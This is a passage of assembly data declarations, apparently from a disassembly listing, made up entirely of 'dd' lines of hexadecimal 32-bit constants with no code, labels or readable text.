		dd 53640440h, 1B319103h, 0A84BB251h, 3234D9h, 23204D22h
		dd 9D3964D1h, 0F8732624h, 0D4898B03h, 9FD6886Eh, 0A8AA1CCEh
		dd 0F92E2Dh, 221C1636h,	0C31C7A6Bh, 45C0FD91h, 4CC6497Ch
		dd 0F7610AF2h, 3DD8EF71h, 6C2F1300h, 70433558h,	0BC1601EAh
		dd 0AB1DCBD4h, 0F94D3340h, 126A1AC6h, 0FAFE208h, 7180471Ch
		dd 371BEB5Eh, 0FD8ACA00h, 7C25820Ah, 66A50044h,	9975B35h
		dd 791E4E73h, 0F9C0F3B6h, 8D07E745h, 218A30B0h,	0A0995CA0h
		dd 2F594A12h, 88C62400h, 3C25E9C8h, 0DB89DE6Ah,	0D47034A9h
		dd 0C50EBB43h, 0E62FA6BCh, 314A6240h, 0F50065C4h, 12D38003h
		dd 0AFCED6Fh, 3C6391C9h, 475839B0h, 0CD863100h,	0F4C64B48h
		dd 421B5E1Dh, 0C01EF97h, 2C6B94F7h, 0AC27707Dh,	0A0076832h
		dd 0B3A3E036h, 7DEBCD57h, 530F0B40h, 307003DDh,	0B1CF8065h
		dd 0E67600C8h, 0CA4D7CA8h, 0A7009C3Ah, 2DC00E1Dh, 1F11408Bh
		dd 4996B9h, 0A4D16BBCh,	2006C105h, 32C76F62h, 0FDEC1330h
		dd 0FB1B039Ah, 80984988h, 711CD398h, 3100CC1Ah,	0B30BF2C5h
		dd 0D3684B27h, 0ADE2E40Ch, 9FB228C0h, 3340DD0Ah, 3D8010h
		dd 6C4230C7h, 0B9527Dh,	0A675EED1h, 214F18E9h, 25283CFFh
		dd 0EC10C824h, 57940790h, 715A1A66h, 70DD8DF8h,	68000446h
		dd 0D4E12BCBh, 7A2C41h,	0FEB2C053h, 7C1647CAh, 0AACB4E00h
		dd 0D44F21Eh, 0ED5A3BD4h, 0D1DC8500h, 0A96E01CDh, 5557D900h
		dd 0F4B0F396h, 3D202E77h, 804C2CB4h, 22803F42h,	0EA7DD1E9h
		dd 7049F300h, 0DBA71BC0h, 70334C1Fh, 1848E807h,	0F97F2066h
		dd 8F0014C9h, 0A9BA4493h, 5EF0A6A1h, 1233A0F6h,	6FED2C00h
		dd 0DD7F3843h, 0A4BF3C3Eh, 1500B2BBh, 0FF14F2AAh, 28005320h
		dd 0D5BC12C0h, 3FEBADB0h
		dd 0F80B3D9h, 16FCEA64h, 4713DD75h, 7809D862h, 0B6510032h
		dd 0E7F1913h, 37ADF178h, 0E7301280h, 0CE000B7Eh, 2ACDE08Bh
		dd 0E32C5Dh, 82419B09h,	0A15BD8FEh, 0F888809Dh,	2568ACE9h
		dd 2860CA1Dh, 5A0A9EB7h, 0A07C84FCh, 7650A000h,	345E25h
		dd 4CE15398h, 4A24B87Bh, 5B2F9400h, 687C3F02h, 0DB75000Dh
		dd 37BECCF4h, 0C2FF2FCh, 0F09800EEh, 0BDC790h, 0CA83A028h
		dd 0DDC2044Dh, 1D415A05h, 8F86682Bh, 9B9E00F0h,	0D6F971D7h
		dd 56000CA2h, 0E16FF7CDh, 1C619369h, 0BF1CAEF4h, 0E63E516h
		dd 0B32075E3h, 0E880D99Dh, 0C3005C92h, 0EEC48B8Eh, 3D86ECh
		dd 0F9F394C1h, 8CD9713Ah, 0D0B2D600h, 0E83ECCC2h, 3C5900DCh
		dd 7A6D381Ah, 8200550Eh, 3034022Bh, 1F39C9Ah, 0A2C75D2Fh
		dd 60DA94DCh, 0FCF10E80h, 53127E10h, 60002109h,	0C4176ACCh
		dd 0F5B6001Bh, 6124E4D8h, 9BE23304h, 3E9A8709h,	2D87114h
		dd 0B48FFC97h, 15D55482h, 31285870h, 2CB0E1BAh,	0AE3AA471h
		dd 0D43B38h, 0EAC29E77h, 4C664E99h, 420140F4h, 7E216BA6h
		dd 0F8B23072h, 1C45F705h, 950F1B0Fh, 609720BDh,	709202h
		dd 0C2FEA4DBh, 5B38DDB7h, 0D4002C98h, 2543D2ACh, 2616E906h
		dd 3543C36h, 970530B6h,	864AB813h, 0F10B6CC0h, 24E0089h
		dd 0C53BCA9h, 0CAF46411h, 3B0340B6h, 0A05F2A9Fh, 685EC89h
		dd 0AA42FBEBh, 88008E7Dh, 8E571ACBh, 16FD44D9h,	412E3464h
		dd 0D40C3788h, 0BE30703Eh, 76265CB0h, 80528ADh,	8012AA0h
		dd 34A20A31h, 60A50DC4h, 32E93937h, 85E4FC5Fh, 74C0E24Eh
		dd 6DEE460h, 163FDA7Fh,	7A1B087Dh, 3E209934h, 411C0D11h
		dd 0C0C15B9Dh, 183945E0h, 9A0140DEh, 84A9E0D6h,	0D5970880h
		dd 4C0E17D1h, 0B5870900h, 0CD4DE942h, 0CF5F00CBh, 141F5319h
		dd 110F15C7h, 8A76177Dh, 5E0348D8h, 0C7433E3Fh,	612BDE40h
		dd 0FD7DE8E7h, 0BA67F0h, 2ADA4E5Fh, 343E3759h, 0DB30F3F0h
		dd 64399C0h, 1E0FD18h, 11F10077h, 805D7402h, 8600E4E2h
		dd 7F13CFC9h, 398EAFh, 61B76346h, 0F2E08DF9h, 0FCDF3Ah
		dd 0F8A5F1D8h, 2DCC5Ch,	38F022AEh, 0E73B42D4h, 0DF903E19h
		dd 2AD89DF8h, 29B9DEF2h, 2E705504h, 0B425001Dh,	0E6508161h
		dd 56078779h, 0E13933C2h, 0E4443A90h, 7B670395h, 46785125h
		dd 43A0B7C3h, 6E71B45Dh, 6700BAF8h, 64BE50D2h, 3A6E46Dh
		dd 0BF588263h, 40E77F7Eh, 0B1C48462h, 566B7B01h, 25234FB0h
		dd 0FF261F0h, 8069A527h, 707CAC00h, 6F0A5130h, 70C62124h
		dd 3BE418FCh, 0D77A4804h, 0DA1D4205h, 8F807FDDh, 5801BEC4h
		dd 0E4065EF9h, 28CE6951h, 423F1E22h, 8FF1173h, 0B086521h
		dd 84479039h, 694806E1h, 243B5842h, 3F521BBh, 7C107D12h
		dd 9AF89C7h, 29905321h,	38199221h, 4C08A329h, 8435DC44h
		dd 0F789C87Ah, 12F1A808h, 0DFE81039h, 9608EB89h, 84CDE544h
		dd 42E92F22h, 0D39311DFh, 0A51DF121h, 3910FDE2h, 9F7B15F9h
		dd 0E2EF0700h, 860EC22Ah, 50D0020h, 1B132CECh, 0F200DDB9h
		dd 4A792D6Bh, 6189C9h, 2A5E8182h, 5377283Ah, 0FFB8B003h
		dd 0CF20DF27h, 26383020h, 32CC0A0h, 0A8FADDAAh,	0D0FB7A00h
		dd 3E369896h, 68180026h, 3AD35111h, 0E73A674Ch,	0B55A001Ch
		dd 1940E9Dh, 0EF9F3FB0h, 4B00C6BCh, 859E1C9h, 0DB02AC99h
		dd 57CABB5Dh, 39FC6006h, 0A8E60024h, 0B3C2682Ah, 0D20088D9h
		dd 30817174h, 39B06A54h, 0E20746C8h, 309C8F53h,	0D28BF6A7h
		dd 134DD001h, 236999BAh, 2045C4h, 0E6302F87h, 570F3B5Ch
		dd 6F67000h, 65DD9F5Fh,	0F0B500BEh, 8394FE36h, 350002ECh
		dd 15642023h, 2F81618h,	4C12385Ah, 0CAE3F469h, 7848210Fh
		dd 7241E0BAh, 0AC4640h,	4E12652Ah, 0BC74267Ch, 0D7325F00h
		dd 1AF0E5AAh, 0FCA0487Fh, 0BFCF6207h, 9A04C08Bh, 0D300310Ah
		dd 0CD031071h, 229FB3h,	9591E17Ah, 0FF5DC281h, 1BFD8B00h
		dd 24CEB42Ah, 6638003Ah, 467970BCh
		dd 4C0E3E03h, 49D9309Eh, 2EE8206Bh, 3E97E394h, 3B80BFA0h
		dd 840D8052h, 0AF074224h, 98C6FAA1h, 1E807EAEh,	0FD0AC0A2h
		dd 74565473h, 2CD51E65h, 6F35C030h, 827DAC5Eh, 0D7D12700h
		dd 0A07E76FAh, 98940020h, 8691CD0h, 0C2006637h,	43322463h
		dd 51ED37Ah, 1841BEA7h,	388000F1h, 2F5D9C61h, 32DF4400h
		dd 79FFDD46h, 73757777h, 0B09300F2h, 4B7D863Ch,	0B871F8B7h
		dd 0CFD68901h, 0A5FEC8CCh, 0A4499040h, 34FCA6h,	52E41DB5h
		dd 3CAAF2C3h, 5C09CE5Bh, 438E83BEh, 14A87DA4h, 0DC13EA3Bh
		dd 460007Ah, 61DF7C51h,	42603008h, 0FC9056A8h, 49AF24CAh
		dd 78E0044h, 0D2556336h, 5C268B01h, 0B1CCD697h,	48953020h
		dd 6100269Dh, 18295477h, 680006A9h, 0E28E6CABh,	1E101370h
		dd 0BA171E6Ah, 721A8B00h, 629BEDC0h, 0F80E600h,	0C8B59AD8h
		dd 0C4AF0057h, 66DCB258h, 0BB006B73h, 921A8543h, 182994B0h
		dd 78D6727Bh, 0AD00F83Bh, 23BDFB3Ah, 44F4541h, 90823486h
		dd 0CAC480B5h, 960E8BA3h, 2C85E663h, 303398D8h,	0F120B10Ah
		dd 0AF092E5Fh, 1F79B92h, 6136483Eh, 782B68C4h, 91A8030Ch
		dd 0E214AFE5h, 204A56C0h, 876BAA00h, 0A0C5AB8Eh, 0F24000D2h
		dd 48753160h, 0B600FB76h, 2609F3D8h, 75C9AC1h, 0E6B5C30Eh
		dd 83B20EAh, 0D0060A3h,	6A778644h, 70625Dh, 0BA3783A8h
		dd 0D574CE58h, 0D69A39h, 679DF3C6h, 0E8685754h,	0DFB82Dh
		dd 0FB1C930Ah, 0E13DC10Fh, 904A7E02h, 40809C1Bh, 0BDF758h
		dd 0EF57580Ch, 544D382Eh, 5A7ECB00h, 0AFC30D2Bh, 763A39DFh
		dd 0E6BB8480h, 45B8A4BEh, 0F385B200h, 0F5CE90FEh, 3E790F3Ah
		dd 0EC40D68Ah, 4C603531h, 0A6FB812Ch, 5748CF28h, 10C40028h
		dd 0E4BA6C3Dh, 0A27EF0h, 4E2A8418h, 89E8909Ch, 0F8C96800h
		dd 6C3C783Bh, 218203B8h, 0F3D1F79Dh, 948D1600h,	499B4DCBh
		dd 915F50D5h, 61510940h, 3300B746h, 83179C6Bh, 6C4AED00h
		dd 67073712h, 736F00C0h, 754F7632h, 0F7B0AF3Ch,	71149B03h
		dd 0BC7FAEDDh, 0E1408080h, 587000Dh, 32EA070Fh,	8E0026DAh
		dd 14FD3508h, 739A95h, 0B38B0541h, 9133D0F2h, 0AA99CE07h
		dd 22D0E7A9h, 0E4B7F10h, 28C7A098h, 807314Bh, 0F0122038h
		dd 0C0029FDDh, 16373C09h, 133040BFh, 2EB20083h,	0BDC7A278h
		dd 0CBE0FEB8h, 7D81C202h, 41403A70h, 2EC82C60h,	96742461h
		dd 0FA9C0004h, 51E0C20Dh, 60279F02h, 40223C86h,	4796ACh
		dd 4A81EC6Ah, 25C9D967h, 0A8B30200h, 0C4492EF7h, 0F0A700B4h
		dd 10A11161h, 9600E8CCh, 0F9AE3203h, 7B9479B5h,	3DE324A3h
		dd 75440780h, 80DBD5F8h, 0B1CDAE31h, 4E4CCEBh, 5D002071h
		dd 2EE91F82h, 13A95C58h, 0A6F748h, 0B2CDBE8Fh, 820C9C91h
		dd 30013F8Dh, 4BAE0F5Fh, 1E727148h, 7B19F026h, 59175D18h
		dd 0FF00E5B5h, 0E6E2AA9Eh, 0A4CB3C8Ch, 0F9977580h, 0BF958548h
		dd 62906498h, 8ED24219h, 22200B40h, 0B24B48h, 56D09530h
		dd 3D1CFCC1h, 0BCAC994Fh, 971DA19Dh, 0C033B480h, 3FB99CFDh
		dd 4A01F7FCh, 0F4351ECh, 0C8DC2030h, 16DFBF07h,	58F0C99Ah
		dd 0E07F4D81h, 0F3C23B78h, 73ED3D80h, 0A41AADDAh, 600AEEEh
		dd 657D6370h, 0C0B891FBh, 97475970h, 0EC001D73h, 9A8BF8A8h
		dd 0CF7F80h, 0E17017BBh, 1B662192h, 0E3065400h,	0AA5F13FAh
		dd 0A4910326h, 2DDA0B09h, 347F9009h, 92040062h,	8D0A0Fh
		dd 0FA351281h, 87CE6D19h, 0FAA3042Ch, 61D0760Fh, 89596A14h
		dd 808430h, 0AAD1E128h,	200A2349h, 86D8BC00h, 1E8FE2F3h
		dd 0AD29C0C4h, 590F7745h, 68AED02Ch, 1554DE00h,	20AECF1h
		dd 99267117h, 0D2074E6Dh, 0E7D1EF70h, 168C0588h, 816BBF4Ch
		dd 0C0ED207Ch, 113E5EE3h, 128BAE6h, 0B924819h, 0F8C87FB4h
		dd 269CB8B0h, 8AE84h, 0D5A9E94Bh, 0B3AB6FEh, 0FCCBA4BCh
		dd 0A4EED000h, 35CD27h,	0E8DAF1C1h, 9917C6B2h, 680038E6h
		dd 0AB881875h, 1BD2A1h,	71017C19h, 0ACB7DB52h, 2948DA00h
		dd 9734AEE9h, 0E460FB53h, 792C0032h, 857AE19Bh,	3E491B5h
		dd 2220F803h, 0F86F68A8h, 0E993B8h, 0BE3BFD3Ch,	0D40D7A76h
		dd 0B7C63103h, 0CA62611Dh, 8020E08Fh, 0EF7EDAh,	0AC4036A2h
		dd 0D7E4018Bh, 5ACAB101h, 0E5E891B6h, 0E216D8h,	72465C43h
		dd 90A41267h, 35F413Dh,	0AA7E6255h, 8FFA3BFEh, 82165007h
		dd 0B261B2C7h, 6999F4E3h, 0F440208Dh, 9087F532h, 7340C102h
		dd 0B84849DCh, 86831F61h, 6D93802Ch, 96FB333Bh,	0B3B15Ch
		dd 101D4D0Eh, 240DE9EAh, 50EDA5h, 52E3AF1Eh, 1100D708h
		dd 0CFD3656Eh, 0F41B30h, 6A82A035h, 5615EC86h, 44BD2807h
		dd 4BA36E3Bh, 738AB8A1h, 5F6C1236h, 26200153h, 200403E8h
		dd 49001C58h, 0A9D56793h, 9824CD0h, 32947E38h, 0DFCE5480h
		dd 2872CA6Eh, 9D608A00h, 17AA7C7h, 42E404B8h, 0C09790E2h
		dd 1A4E7F4Ch, 0AAF3D701h, 0B2096F51h, 24C20FE4h, 44D992h
		dd 934AC3FBh, 0BC0067DFh, 6D8DEDCFh, 147F41E1h,	0C88A4C35h
		dd 80E8991Eh, 0AB8280A2h, 8D2E1D4Fh, 9B004C2Bh,	97E7082Ah
		dd 3ADD00C0h, 5E637298h, 55030951h, 0F8505D6Eh,	402FC23Fh
		dd 0F6029964h, 95D40308h, 0BC665226h, 0EB9E14A8h, 0BA556503h
		dd 0E4E062D2h, 7E28B0h,	5336AB98h, 0C54A4E02h, 4F0013E2h
		dd 927FBBF2h, 78BD59E1h, 0ECFE0099h, 6BA3325Fh,	4F00AEC1h
		dd 1D25BE71h, 0D5A8DCh,	0B86803Ah, 0FB9E1BD9h, 2F16CF00h
		dd 22E82462h, 0BBE91690h, 920844DAh, 0C0005D26h, 548E4051h
		dd 0A9810004h, 2B904BD3h, 4507F5CCh, 0C648A428h, 0CAC30560h
		dd 0D9FC01BEh, 4B6F273Ah, 0F06CF416h, 0CB153Dh,	4DCA902Eh
		dd 7E6BC73h, 0DED1AA70h, 338C00F1h, 51002823h, 0DA7F9ECCh
		dd 57D93B7h, 0DE07E464h, 0AB1080EBh, 66387EF0h,	4C2481D2h
		dd 0FC692CC1h, 0F8B7E0D3h, 0B61E1616h, 0EC110043h, 18226437h
		dd 7EB36601h, 1B19EBBBh, 0F1732080h, 44B8F4DDh,	0FE347200h
		dd 91DF6280h, 0C0EF02A0h, 0F2D6A692h, 85D2B448h, 0BA1D0100h
		dd 450550CBh, 36E901F6h, 46409188h, 0B781C8A8h,	0E1B82B00h
		dd 0BE704E7Ch, 7A1B001Ch, 0A9DBC925h, 277C9BF8h, 4B4DE600h
		dd 94D252FAh, 5CB80099h, 7B93958Bh, 0A25817CBh,	6C410090h
		dd 1D68D01Bh, 139DEE9Bh, 8D520Eh, 37029818h, 28FCFBFCh
		dd 0D9639400h, 32C9DF0Ch, 69FE0022h, 2EF20D90h,	0C4003BFAh
		dd 1A9FBA6Fh, 639988Ch,	9ABD68C7h, 9404E426h, 5646671Dh
		dd 972F18C0h, 7F20169h,	1FCF5410h, 84F830D5h, 1C578E48h
		dd 2500E071h, 0CDAA0682h, 482FFE72h, 6800D8EFh,	0E8A9940Dh
		dd 0F700BE5Eh, 1DDE77CAh, 0CCA42Ah, 510B5B42h, 546C7116h
		dd 0EE9F9404h, 0FC807CDBh, 1C8775BDh, 191E7E6h,	68B48BD1h
		dd 0FD588125h, 3C12E3B7h, 2C6DE0h, 54302F4Ch, 2053580Ah
		dd 5A1218B0h, 14809D90h, 0EC2DCB51h, 0F0237F46h, 58FF0062h
		dd 3096D092h, 0D600F51Dh, 0BA143FCCh, 31D8DBh, 1664F443h
		dd 2F89CF7Bh, 8C124Dh, 374C8C78h, 30765D67h, 5390E01Eh
		dd 1D0004F0h, 0C4155113h, 80A0B9EAh, 0B72605B2h, 98801829h
		dd 186CDB96h, 2A660EA4h, 68AEDFE3h, 1B79DCC0h, 3E003D63h
		dd 71722C4Eh, 0F0B350Eh, 8106CB3Ah, 3DF9F482h, 0C8ACD9E1h
		dd 4A0E0A28h, 4F5E9302h, 1AA74042h, 0EC068544h,	662E003Dh
		dd 52721617h, 0E00E95Fh, 910462A6h, 2CAC11Eh, 58D1022Eh
		dd 64C85D57h, 0AFB8AC82h
		dd 0C9FD9A2Eh, 7ECFB501h, 2CF0A962h, 795005Ah, 12735127h
		dd 21002DC8h, 6DA02618h, 0B852D103h, 86D71F74h,	78EAC02Eh
		dd 873E5735h, 0CF6AA00h, 0B4C55685h, 631507E2h,	0C01A1799h
		dd 0C7D93FBCh, 0F7EDF300h, 0DE5B7032h, 3C1B0020h, 0E4BBFCF1h
		dd 30E9D1Ah, 0D73F9h, 380EB492h, 5FBF0270h, 138659F3h
		dd 455DBFE0h, 0DCF06700h, 0CFC568F1h, 0A0560FA6h, 9A003B26h
		dd 0F9028448h, 0BBED94A0h, 0E05230CEh, 193F227Ch, 833A00BFh
		dd 11F3EADFh, 376A7B5Ah, 7002F041h, 403DE632h, 5CA757h
		dd 0C42BAF58h, 27FCE1C5h, 0DCC01200h, 93E7F2C6h, 0C2750020h
		dd 0F9D8CCE0h, 7C0029FAh, 0B627EC33h, 1F0234CFh, 26BE616Ch
		dd 91F0B6Eh, 8CC0F480h,	9C00F0DFh, 0D1DDAA0Ah, 0D9301h
		dd 3F272384h, 7539DE68h, 5D324400h, 89ACBA91h, 0B1A707DAh
		dd 402064C1h, 0B7DEC2DCh, 0EBD94003h, 0C80C0491h, 2428AB80h
		dd 0B5C4F2h, 0FB38F0F1h, 1F1D6113h, 4380EA2Eh, 219B09E1h
		dd 0FAF70007h, 69373688h, 0D58B6BDh, 2D5700F4h,	0CB5BE6Ah
		dd 551F004Bh, 0B31C1264h, 20382837h, 0F0668314h, 80A28061h
		dd 5C3F484h, 1EAF62Ch, 1A1CD006h, 57002E9Ch, 953D9355h
		dd 580947h, 0DB8E043Ch,	0CED2694Fh, 5CD8DA01h, 0B59A3371h
		dd 1830830h, 76F8537h, 0D4E21FB9h, 4800A870h, 0FCDB0FCh
		dd 927864h, 0ED4267D4h,	1AB8A7Ch, 0EF6E9D00h, 0CD16D04Ah
		dd 0E460B09Ch, 96371857h, 0B7F58DAh, 93604A7Bh,	10585411h
		dd 0C75A2E66h, 0A92F040Ch, 7F80C1CFh, 8640FAA0h, 4000D94Fh
		dd 0DF8BE7Ch, 3C470E14h, 0E5805323h, 76EFC0B6h,	2A18D3A0h
		dd 4538201Dh, 0EF407AB2h, 71F4BAE1h, 7AF8DAh, 20975ACh
		dd 0A9769E7h, 63313D62h, 0A146C3D7h, 3980228Ch,	0BA383584h
		dd 7C138643h, 7412DDAFh, 95C284C0h, 1BC0C0CAh, 0B8E83CADh
		dd 86284090h, 9805BF40h, 4B1AD5BFh, 0D8A1E680h,	0C5CB00DDh
		dd 522D085Ah, 0A30B47CFh, 8EACF27Eh, 6F5401CAh,	0BC342511h
		dd 310620D0h, 4DEB1F00h, 0EDC819CFh, 0E20EE85h,	0E24BD0BEh
		dd 2F038B60h, 620088CAh, 553F390Eh, 221468h, 105074B0h
		dd 8FFF3321h, 54579400h, 485AA47Ah, 0B3F300BEh,	0B7C684CDh
		dd 1B04B0F2h, 3EE9C25h,	0A653EB80h, 0B15C3C6Fh,	811C2Eh
		dd 5989BDACh, 0DAF83122h, 0AF4F3F00h, 0F1CEB4EDh, 263EEE97h
		dd 99589029h, 0F4834008h, 9C00011Dh, 0C50BFA9Bh, 2C6AA9h
		dd 0FF35F5B6h, 1D857741h, 0CC033Dh, 0B360EEFBh,	72D6B95h
		dd 875B837Ah, 451020A4h, 0D700A561h, 251D537Ch,	1613A64Bh
		dd 919B8Dh, 483AA0C8h, 0D60083B4h, 21AACCE7h, 3D8EB745h
		dd 1E5BF9EAh, 0F7D6A0h,	92A67CEBh, 44007247h, 0A37F6170h
		dd 725E42F5h, 16DC764Ah, 0F2B1EACh, 416BE7C8h, 0C078F484h
		dd 0B4C35BE6h, 0E6640200h, 7261194Ch, 4C7E5832h, 44FC5703h
		dd 110D0814h, 4411E91Fh, 0D02CBAF5h, 5BCBE100h,	792B1829h
		dd 0F3AB0B00h, 0FB7542F7h, 0A6F924E2h, 0D65900B4h, 3BBE34D9h
		dd 5314B600h, 2EADFC17h, 40D20513h, 80277382h, 8479C5B2h
		dd 5FFAAE01h, 7F5A4E64h, 40FD569Dh, 71805468h, 8439B082h
		dd 3EDE008Bh, 0D4BBBC70h, 0A0E626E9h, 0BEC70070h, 7E8EBD8h
		dd 24484709h, 0B988800Fh, 8C0E1BB6h, 0F74A40C0h, 0AA9D5Dh
		dd 3AC75225h, 28EC2767h, 0E8D4D00h, 0FFBB7CB7h,	7EFE03ADh
		dd 54CDE5D8h, 0AE0FE698h, 0D4009DECh, 666A9E41h, 3DC13FA6h
		dd 2F45CC3h, 0E7E994BFh, 0EC809086h, 0F03C2ECCh, 5C21F71Eh
		dd 38E59783h, 5605E803h, 0F49D009Ah, 8E2B0609h,	7300B037h
		dd 980E9346h, 0B335ACh,	0A6E497Ch, 2160AA9Eh, 2A4A6310h
		dd 75933309h, 0F4383480h, 0F574EAE4h, 0CD90B300h, 0D70BBBF7h
		dd 3FE4E2h, 9397745Bh, 0B016505Ch, 9C739A26h, 1C3A2A05h
		dd 145FF400h, 5AEF81h, 84B50298h, 181270ADh, 93991900h
		dd 2C806845h, 2ADB1F61h, 3369817Eh, 608FF754h, 6A0E06D2h
		dd 6B951A81h, 0E67C87E8h, 47181E30h, 0E9F71805h, 0B60219DDh
		dd 4000379h, 7C3E28AEh,	136A1873h, 0C1AC75F0h, 0C4B706F8h
		dd 9574F7h, 0A0058258h,	2E8AB0A7h, 87BCED3Ah, 0F7F54Ch
		dd 0C196E407h, 28CE8E00h, 0D17CFCA5h, 39583C90h, 0A1017600h
		dd 0E023074Eh, 5DD75501h, 188DEACEh, 67FCCF21h,	0C204099Dh
		dd 0F400F71Fh, 0F0820AFBh, 5A5FFD00h, 0FEAE4A4Ch, 2D333070h
		dd 43B5D290h, 1D340E00h, 8DA074A8h, 86B201FBh, 0D849539Ah
		dd 0A0B47C05h, 19809E0Ch, 0C1BB5012h, 3F9CED1Ch, 0AD6AE0h
		dd 0FD95CCB8h, 0DAD778C5h, 49EDD400h, 9F3DB32Fh, 8B8F0027h
		dd 5374AB3Ch, 6500F9F7h, 2A6AC3B8h, 0BA77D80h, 83E20CCBh
		dd 0F40E3A8Eh, 1A7FB200h, 2C00064Ch, 925D6B19h,	584024CAh
		dd 0CD0054C0h, 3180744Fh, 360259FBh, 86BF3312h,	0DE76E0D6h
		dd 0C538079Fh, 2030346Ah, 66AC4F06h, 0B6000990h, 0D2017F47h
		dd 0C1AF52h, 259DF7DDh,	0D862B3FDh, 0D5590304h,	18C2FCE9h
		dd 1B54C9E6h, 54B4A6h, 54DDB699h, 0A1072BC8h, 0D3A41882h
		dd 0B1A10089h, 4287FEh,	880E6B80h, 98A1CC8Ah, 0DDD56700h
		dd 0E93AACCFh, 44B0D0h,	63365B42h, 0BA531156h, 6F6131C0h
		dd 179CDB8h, 0F47244F7h, 60F355C5h, 0A40CEE68h,	11D45C0Eh
		dd 0D2A72575h, 1A854C48h, 84C2526h, 4E23EB40h, 0B3092188h
		dd 0F184112Dh, 63DAD085h, 9280BE5Bh, 196D229Dh,	0A0CD29FBh
		dd 51EB7083h, 17BDDA03h, 0F46B9EF2h, 818978B1h,	54190D68h
		dd 0A41DD88Fh, 0E7B8B900h, 0A5F00243h, 67FDA0AAh, 56F08Ah
		dd 471F2AA0h, 0B53527B2h, 0F5D7B901h, 89879C48h, 3D05F460h
		dd 17DC608h, 5BEC937Ah,	0A83F3565h, 871F8470h, 80BA8883h
		dd 0EE5036CAh, 0C03CABA7h, 3081E420h, 2D7BC0AFh, 0D1EC0528h
		dd 19B9C401h, 1617EDF0h, 90DC89C8h, 91E23FCCh, 0B7B49A83h
		dd 5CE2C79Dh, 907234C0h, 74C51F24h, 6A46AE80h, 1F81148h
		dd 0F09E854h, 8039CB94h, 7E62A221h, 351264h, 833EA9F9h
		dd 4F5F0E0Dh, 6DEDC500h, 0D305C6EFh, 4B710063h,	0B3069FF1h
		dd 90004A73h, 33DAD954h, 763317Fh, 57E60E2Ah, 18D52625h
		dd 99F87E03h, 0B08B0380h, 0DD69A0h, 0A5C624D0h,	62F2DC71h
		dd 7D5EA03h, 0D9D17B70h, 0FDD44737h, 80290314h,	0EABDE9Ch
		dd 52B5A998h, 8508F303h, 92B04E38h, 0A0B4E0CBh,	565400C9h
		dd 165A795Dh, 1C035528h, 2C92EC1Ah, 18BACD20h, 81158053h
		dd 0BC03D1F4h, 4EBA438Dh, 0D2180085h, 1F92EAB1h, 6B008298h
		dd 52B388E2h, 0C52EC8h,	3E2023D4h, 32992A74h, 2E2E4B8h
		dd 33B09E24h, 0CEF8003Ah, 0E5653017h, 584C0056h, 0D8AC3FAEh
		dd 7800BD14h, 93DC4AF9h, 0C00A38CAh, 0D061A140h, 740084BEh
		dd 7E559F2Fh, 0C0EF36h,	13F94BDDh, 0E66C391Ch, 0E8CCD74Ah
		dd 3F790085h, 0AD3248E7h, 0C0C0DB99h, 3BC709FEh, 0FC5CE3h
		dd 409A1516h, 97E47434h, 0E1002F8Eh, 0D5BED3ECh, 4C4221h
		dd 85DED62h, 3EBDF5C4h,	0FE13F400h, 86029201h, 1C2E0018h
		dd 77894B7Ch, 6000DD1Fh, 2FEE6C45h, 6F251h, 41D5B757h
		dd 0B0356B3Dh, 8A007AFEh, 0ABC30979h, 50683F6h,	0DABCC1A6h
		dd 160CC147h, 0B31FC854h, 4332CE00h, 0A853F16Bh, 0C4C22CA5h
		dd 46350064h, 786DC03Ch, 400EEFFCh, 600737FCh, 4EF5878Ch
		dd 687661BAh, 0F7AC635Dh, 5FA8AA83h, 0C600230Ch, 0D0BD8464h
		dd 9269E0h, 0ACE9D9F8h
		dd 0FB2A5161h, 0FC815200h, 5A386409h, 0D91B00D2h, 6030418Fh
		dd 82009C9Bh, 8702AB40h, 0E10C8Ah, 0BB21D68Ch, 5A78F141h
		dd 0A0F7CA28h, 8D246F0Eh, 0A84C40F6h, 71C37BCh,	4AAEF250h
		dd 531B5298h, 5A689440h, 0EDF32700h, 0B8641AD9h, 14A7A3Eh
		dd 3B1DC187h, 961B61B5h, 0C618h, 8442BC6Ah, 0E638B06Fh
		dd 0FD39003Dh, 2A8280F5h, 0F900CEDCh, 21B06205h, 7B27C46h
		dd 7D61057h, 0AD83E2BAh, 91165C60h, 0D330F374h,	653420B1h
		dd 3B4E000Ch, 9723E83h,	2BEA51D6h, 35009398h, 0F21DC82Fh
		dd 0F59FD2h, 2E1F063Fh,	70D7A80Ah, 4198400h, 444DB45Eh
		dd 3C674963h, 4188DE35h, 3F412F3Ch, 8083CE5h, 8192811Bh
		dd 544DA2F7h, 67319E7Fh, 0FEEF0E43h, 0FDB6D81Fh, 0EB7D014Eh
		dd 5E639ADDh, 8F298029h, 417ACE34h, 16729Ch, 0BC4B51C6h
		dd 0BF8E2A2h, 3F2FCD00h, 5C853DFFh, 4ED004Ch, 4F337199h
		dd 600043DAh, 70D6BFF5h, 125813Ah, 8FAA0DBAh, 0CDFC4B02h
		dd 9139E8CCh, 6A003F78h, 566DDAC4h, 72CE4E0h, 7586BB7h
		dd 11FC00Eh, 0AD0E7CEDh, 0E6169B6Eh, 0C861B9h, 1897D1F3h
		dd 23FDE655h, 8907EA1Fh, 157BFC87h, 45999AC1h, 902D9840h
		dd 0C6751CB2h, 20DC8FF2h, 8BBE43E0h, 0B75C238h,	0D1F42E00h
		dd 40A64677h, 0FBD819D2h, 2023684Dh, 56206AD4h,	388C0010h
		dd 0FFCD7AB1h, 0BB00D095h, 792603E1h, 4C636DEBh, 5F1ECAh
		dd 1DB1B680h, 33120A34h, 68F4983Ah, 0DAEA00F0h,	3A87101h
		dd 0C9FC39B7h, 0AE259F00h, 0E7E6F384h, 44721E04h, 8FEAC065h
		dd 6B54EBAAh, 0BB3FB40Eh, 47F1C049h, 7CD59415h,	2D2501B3h
		dd 0AAEEC245h, 7D5280FDh, 84ADA98Fh, 80474C5Ch,	219EB400h
		dd 0C13E9591h, 1CB56E3Ch, 0BE008C28h, 0E355FB1Ah, 4FC66h
		dd 0A0EA835Ah, 11460ABBh, 0C2E20300h, 2C87C5ABh, 165874B9h
		dd 51DBC49h, 0D0EE0560h, 56EC9498h, 31134500h, 2AC2A650h
		dd 91DC007Eh, 72D4C75Ah, 0E3177183h, 0C0800B63h, 0FCE799A2h
		dd 0B0E0F0DDh, 302B025Bh, 85ABE8E2h, 6511A460h,	0A03EEB25h
		dd 6192CEE0h, 887008Bh,	19FCF7B2h, 69121D2Fh, 0EE00AFA6h
		dd 7829C0DCh, 3E9B0502h, 0C0546784h, 31A5C8C4h,	588EE430h
		dd 7E6B0Ch, 0AAA33211h,	7F18495h, 18293700h, 2DC71379h
